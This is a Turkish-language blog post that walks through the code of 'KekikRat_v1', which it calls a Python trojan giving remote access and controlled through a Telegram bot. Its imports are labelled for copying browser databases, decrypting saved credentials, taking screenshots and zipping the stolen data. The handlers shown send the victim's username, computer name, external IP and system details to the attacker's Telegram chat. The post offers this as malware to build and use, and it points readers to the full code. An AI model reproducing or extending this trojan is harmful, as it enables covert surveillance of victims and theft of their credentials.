TelegramBot
February 25, 2020
KekikRat_v1 Kod İncelemesi
🕊 Bu döküman @KekikAkademi için oluşturulmuştur. ✌🏼
KekikRat_v1 Python diliyle yazılmış, Telegram üzerinden kontrol edilebilen Uzaktan Erişim sağlayan Truva Atıdır.
Kullanmaya başlamadan önce BotFather ile oluşturduğumuz bot'a Commands eklememiz gerekiyor..
Modüllerimize Bakalım;
import os # Dizinler ve dosyalarla çalışmak için import platform # PC bilgileri için import webbrowser # Tarayıcıda bağlantı açtırmak için import subprocess # Kill Process(İşlem Sonlandırma) Kullanmak için import shutil # Tarayıcı verilerini kopyalamak için import sqlite3 # Tarayıcıdan çekilen veritabanlarıyla çalışmak için import win32crypt # Tarayıcıdan çekilen şifrelenmiş verileri çözmek için from PIL import ImageGrab # Ekran görüntüsü almak için import zipfile # Topladığımız verileri Zip'lemek için import requests # Telegram'a Belge ve Ekran görüntüsü göndermek için import telebot # Esas oğlanımız TeleBot
TeleBot Bağlantımızı Sağlayalım;
Bot_Token = "XXXX:XXXX" # Bot Token Chat_ID = "XXXX" # Chat ID KekikRAT = telebot.TeleBot(Bot_Token) # telebot'a Tokenimizi bağladık
Komut - Kod Bağlantıları
/basla Komutu
@KekikRAT.message_handler(commands=['basla', 'Basla']) # Basla Komutunu bekliyorum
def baslangic(command): # Komut yürütülürse
KekikRAT.send_message(Chat_ID,
"☣ KekikRAT Çalışıyor ☣" +
"\n\nKomutları Öğrenmek için: /komutlar yazabilirsin.." +
"\n\nCoded by @keyiflerolsun \nSpecial for @KekikAkademi ♥") # Mesaj gönder/sistem Komutu
@KekikRAT.message_handler(commands=['sistem', 'Sistem']) # sistem Komutunu bekliyorum
def sistem(command):
r = requests.get('http://ip.42.pl/raw') # Harici IP'yi bulmak için bir GET isteği yolluyoruz
KullaniciAdi = os.getlogin() # Kullanıcı Adı Değişkeni tanımlıyoruz
BilgisayarAdi = platform.node() # Bilgisayar Adı Değişkeni
IP = r.text # IP Değişkeni tanımlıyoruz
Sistem = platform.system() # İşletim Sistemi Bilgisi
Bellenim = platform.release() # Bellenim Sürümü Bilgisi
islemci = platform.processor() # İşlemci Özellikleri
KekikRAT.send_message(Chat_ID,
"Kullanıcı : " + KullaniciAdi + '@' + BilgisayarAdi +
"\n\nIP : " + IP +
"\n\nOS : " + Sistem + ' | ' + Bellenim +
"\n\nİşlemci : " + islemci) # Mesaj gönderişte komut - kod bağlantımız bu şekilde :)
Her şeyi tamamladıktan sonra betiğin en altına;
KekikRAT.polling()
kodunu ekleyerek dinlemede kalmasını sağlıyoruz, her şey bu kadar :)
Kodların Tamamı
__________________________
📃 Yandex.Disk Bünyemizdeki veriler 900GB'ı geçmiştir..
Paylaşılan Kursların Tümünü @KekikKahve Grubu notlarından Çağırabilirsiniz..
🕊️ Bize oy verip paylaşarak destek olmaya ne dersin? ✌🏼